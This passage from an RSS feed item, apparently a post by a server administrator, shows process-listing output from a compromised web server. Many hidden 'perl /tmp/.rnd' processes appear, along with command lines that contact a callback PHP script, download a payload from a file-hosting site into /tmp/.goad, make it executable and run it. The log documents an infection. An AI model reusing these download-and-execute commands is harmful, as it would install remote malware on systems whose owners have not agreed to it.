www_user 18106 &nbsp;0.0 &nbsp;0.0 &nbsp; 4100 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 perl /tmp/.rnd<br />
www_user 18109 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18110 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.rnd<br />
www_user 18113 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18114 &nbsp;0.0 &nbsp;0.1 &nbsp; 4104 &nbsp;2024 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:27 perl /tmp/.rnd<br />
www_user 18119 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18120 &nbsp;0.0 &nbsp;0.1 &nbsp; 4104 &nbsp;2040 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:13 perl /tmp/.rnd<br />
www_user 18123 &nbsp;0.0 &nbsp;0.0 &nbsp; 2772 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18124 &nbsp;0.0 &nbsp;0.1 &nbsp; 4104 &nbsp;2000 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:05 perl /tmp/.rnd<br />
www_user 18127 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18128 &nbsp;0.0 &nbsp;0.1 &nbsp; 4100 &nbsp;2012 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.rnd<br />
www_user 18133 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18134 &nbsp;0.0 &nbsp;0.0 &nbsp; 4100 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:03 perl /tmp/.rnd<br />
www_user 18135 &nbsp;0.0 &nbsp;0.1 &nbsp; 4104 &nbsp;2016 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:18 perl /tmp/.rnd<br />
www_user 18138 &nbsp;0.0 &nbsp;0.0 &nbsp; 2772 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18139 &nbsp;0.0 &nbsp;0.1 &nbsp; 4100 &nbsp;1992 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.rnd<br />
www_user 18142 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18143 &nbsp;0.0 &nbsp;0.1 &nbsp; 4100 &nbsp;2000 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 perl /tmp/.rnd<br />
www_user 18146 &nbsp;0.0 &nbsp;0.0 &nbsp; 2772 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18147 &nbsp;0.0 &nbsp;0.1 &nbsp; 4104 &nbsp;1988 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.rnd<br />
www_user 18150 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18151 &nbsp;6.7 &nbsp;0.1 &nbsp; 3976 &nbsp;1936 ? &nbsp; &nbsp; &nbsp; &nbsp;R &nbsp; &nbsp;Nov06 219:47 perl /tmp/.rnd<br />
www_user 18154 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18157 &nbsp;0.0 &nbsp;0.0 &nbsp; 2772 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18158 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 perl /tmp/.rnd<br />
www_user 18160 &nbsp;0.0 &nbsp;0.1 &nbsp; 4104 &nbsp;2016 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:08 perl /tmp/.rnd<br />
www_user 18199 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18202 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18203 &nbsp;0.0 &nbsp;0.1 &nbsp; 4108 &nbsp;2016 ? &nbsp; &nbsp; &nbsp; &nbsp;R &nbsp; &nbsp;Nov06 &nbsp; 0:03 perl /tmp/.rnd<br />
www_user 18207 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18210 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18212 &nbsp;6.7 &nbsp;0.1 &nbsp; 3976 &nbsp;1912 ? &nbsp; &nbsp; &nbsp; &nbsp;R &nbsp; &nbsp;Nov06 219:02 perl /tmp/.rnd<br />
www_user 18213 &nbsp;0.0 &nbsp;0.1 &nbsp; 4100 &nbsp;2008 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.rnd<br />
www_user 18214 &nbsp;0.0 &nbsp;0.1 &nbsp; 4100 &nbsp;2024 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:04 perl /tmp/.rnd<br />
www_user 18217 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18218 &nbsp;0.0 &nbsp;0.1 &nbsp; 4100 &nbsp;1992 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.rnd<br />
www_user &nbsp;1702 &nbsp;0.0 &nbsp;0.0 &nbsp; 5744 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 181.59.60.227 wget http://yourschool.net/.tmp/frogclog.php?SMTP=181.59.60.227;wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user &nbsp;5835 &nbsp;0.0 &nbsp;0.0 &nbsp; 5744 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 31.30.12.75 wget http://yourschool.net/.tmp/frogclog.php?SMTP=31.30.12.75;wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user &nbsp;1851 &nbsp;0.0 &nbsp;0.0 &nbsp; 5768 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 59.86.194.104 wget http://yourschool.net/.tmp/frogclog.php?SMTP=59.86.194.104;wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user 22400 &nbsp;0.0 &nbsp;0.0 &nbsp; 5764 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 93.192.222.59 wget http://yourschool.net/.tmp/frogclog.php?SMTP=93.192.222.59;wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user 14323 &nbsp;0.0 &nbsp;0.0 &nbsp; 5748 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 93.180.154.84 wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user 14503 &nbsp;0.0 &nbsp;0.0 &nbsp; 5748 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 93.180.154.84 wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user 14539 &nbsp;0.0 &nbsp;0.0 &nbsp; 5748 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 93.180.154.84 wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user 14562 &nbsp;0.0 &nbsp;0.0 &nbsp; 5748 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 93.180.154.84 wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user 14667 &nbsp;0.0 &nbsp;0.0 &nbsp; 5744 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 python pyt 93.180.154.84 wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user &nbsp;5673 &nbsp;0.0 &nbsp;0.0 &nbsp; 5768 &nbsp; 384 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov07 &nbsp; 0:00 python pyt 223.202.59.75 wget http://yourschool.net/.tmp/frogclog.php?SMTP=223.202.59.75;wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad<br />
www_user 17668 &nbsp;0.1 &nbsp;1.8 &nbsp;23544 19284 ? &nbsp; &nbsp; &nbsp; &nbsp;R &nbsp; &nbsp;17:51 &nbsp; 0:03 /usr/local/Apache/bin/httpd-perl<br />
www_user 18103 &nbsp;0.1 &nbsp;1.8 &nbsp;22928 18620 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;17:54 &nbsp; 0:03 /usr/local/Apache/bin/httpd-perl<br />
www_user 18131 &nbsp;0.1 &nbsp;1.8 &nbsp;23288 18884 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;17:54 &nbsp; 0:03 /usr/local/Apache/bin/httpd-perl<br />
www_user 18165 &nbsp;0.1 &nbsp;3.6 &nbsp;41552 37216 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;17:54 &nbsp; 0:03 /usr/local/Apache/bin/httpd-perl<br />
www_user 18246 &nbsp;0.1 &nbsp;2.3 &nbsp;28216 23932 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;17:55 &nbsp; 0:02 /usr/local/Apache/bin/httpd-perl<br />
www_user 18254 &nbsp;0.1 &nbsp;2.9 &nbsp;35460 31000 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;17:55 &nbsp; 0:03 /usr/local/Apache/bin/httpd-perl<br />
www_user 18255 &nbsp;0.1 &nbsp;2.0 &nbsp;25128 20812 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;17:55 &nbsp; 0:02 /usr/local/Apache/bin/httpd-perl<br />
www_user 18267 &nbsp;0.1 &nbsp;1.8 &nbsp;23452 19152 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;17:55 &nbsp; 0:03 /usr/local/Apache/bin/httpd-perl<br />
www_user 22528 &nbsp;0.0 &nbsp;0.2 &nbsp; 4220 &nbsp;2756 ? &nbsp; &nbsp; &nbsp; &nbsp;R &nbsp; &nbsp;18:26 &nbsp; 0:00 /usr/bin/perl -w /usr/local/etc/httpd/pereplet/cgi-bin/news.cgi<br />
kuvshin &nbsp;22530 &nbsp;0.0 &nbsp;0.0 &nbsp; 1772 &nbsp; 624 pts/0 &nbsp; &nbsp;S+ &nbsp; 18:26 &nbsp; 0:00 grep perl<br />
<br />
&nbsp;</div></fieldset></p>]]></description>
</item>
</channel>
</rss>